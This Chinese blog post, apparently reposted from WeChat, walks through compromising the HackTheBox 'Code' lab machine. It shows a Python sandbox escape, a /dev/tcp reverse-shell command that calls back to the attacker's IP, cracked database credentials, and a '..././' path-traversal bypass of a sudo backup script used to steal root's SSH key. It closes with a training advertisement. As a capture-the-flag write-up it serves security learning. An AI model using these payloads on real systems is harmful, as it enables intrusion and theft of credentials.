2025年4月7日00:19:47评论36 views字数 5726阅读19分5秒阅读模式

靶机信息

大致思路

一、信息收集

靶机ip：10.10.11.62

攻击机ip：10.10.16.26

nmap扫描，开放了22和5000端口

得到两个信息

# Gunicron 20.0.4
# OpenSSH 8.2p1 (Ubuntu 4ubuntu0.12)

目录扫描

子域名爆破也无果

【HTB】Code靶机渗透搜索历史漏洞也没有结果

二、边界突破

访问5000端口，尝试调用系统函数，被过滤了

随机注册一个用户登录

找不到可用信息，只能从代码入手，应该是沙盒逃逸，过滤了许多命令执行函数，如system，eval，os,bulitins,import，subprocess等函数，最终利用魔术方法绕过

print(''.__class__.__mro__[1].__subclasses__()[317]('id',shell=True,stdout=-1).communicate()[0].strip())

替换命令进行反弹shell

print(''.__class__.__mro__[1].__subclasses__()[317]('bash -c "/bin/sh -i >&/dev/tcp/10.10.16.26/4444 0>&1"',shell=True,stdout=-1).communicate()[0].strip())

反弹成功

成功拿到user.txt

三、权限提升

查看密码，发现两个用户具有bash，当前是第一个用户

在/home下发现两个用户目录，另外一个无法进入

切换目录，在**/app/instance/database.db**下发现泄露的账户密码

或者使用sqlite3连接查看

数据如下

martin    3de6f30c4a09c27fc71932bfc68474be      nafeelswordsmaster
Mdevelopment   759b74ce43947f5f4c91aeddc3e5bad3   development

解密成功

利用ssh登录

查看SUID，发现一个at权限

查找用法，无法利用

sudo -l发现可利用文件

代码如下，这段 Bash 脚本是一个用于处理 JSON 配置文件并执行备份任务的脚本，并且只能使用/var和/home下的文件

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo"Usage: $0 <task.json>"
exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo"Error: File '$json_file' not found."
exit 1
fi

allowed_paths=("/var/""/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\.\./"; ""))'"$json_file")

/usr/bin/echo"$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo"$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
local path="$1"
for allowed_path in"${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}

for dir in$directories_to_archive; do
if ! is_allowed_path "$dir"; then
        /usr/bin/echo"Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done

/usr/bin/backy "$json_file"#执行备份文件

查看backups目录，发现存在json文件

查看task.json内容

同时发现该脚本无法修改

利用task.json执行试试，解压发现把**/home/app-production**目录下载了下来

尝试下载root目录

{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/../root"
 ],

"exclude": [
".*"
 ]
}
#sudo /usr/bin/backy.sh task.json

执行失败了

删除exclude函数，如下修改

{
"destination": "/home/martin/backups/",
"directories_to_archive": [
"/home/..././root"
        ]
}
#tar -xvf 解压

执行

解压查看，成功

发现**.ssh**

查看私钥

如下

保存并修改权限为仅拥有者可读和写，成功切换root权限

结束

end

oscp

有对红队工作感兴趣，或者有意报考oscp的师傅，可以考虑一下我们的培训课程，加我微信咨询，好处如下：

1.报考后课程随时可看，并且如果对考试没有信心，还可以留群跟第二批课程学习，不限次数时间，报考即是一辈子可看

2.200+台靶机及官方课程，lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍，并且群内随时答疑，团队老师及群友都会积极解答，全天可答疑

3.目前可接受分期付款，无利息，最多分四个月，第一次付完即可观看视频

4.加入课程可享受工作推荐机会，优秀者可内推至红队

5.报考即送送官方文档中文版，以及kali命令详解中文版，纯人工翻译，版权为团队所有

资料：

知识星球

还可以加入我们的知识星球，包含cs二开，甲壳虫，网恋避险工具，红盟工具等，还有很多src挖掘资料包

学习交流群

在公众号后台这里选择学习交流即可，如果图片二维码过期，可以加我微信获取

原文始发于微信公众号（泷羽Sec-track）：【HTB】Code靶机渗透

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

【HTB】Code靶机渗透

一、信息收集

二、边界突破

三、权限提升

end

oscp

知识星球

学习交流群

应急响应-爆破事件与隧道流量

巧妙利用参数污染进行sql注入

Ghostly Reflective PE Loader — 如何让现有的远程进程在其自身中注入 PE

Wallaby's Nightmare靶机详解

SPL与Flink功能对比分析

Word文档宏病毒感染事件：应急处置与深度分析

漏洞分析指南：开源软件漏洞深度分析与实战复现

PDF关键字命中测试脚本

实战渗透某大型彩票赌博网站以及产业链分析

随机实验AA问题的，破解之道

发表评论

在线咨询

微信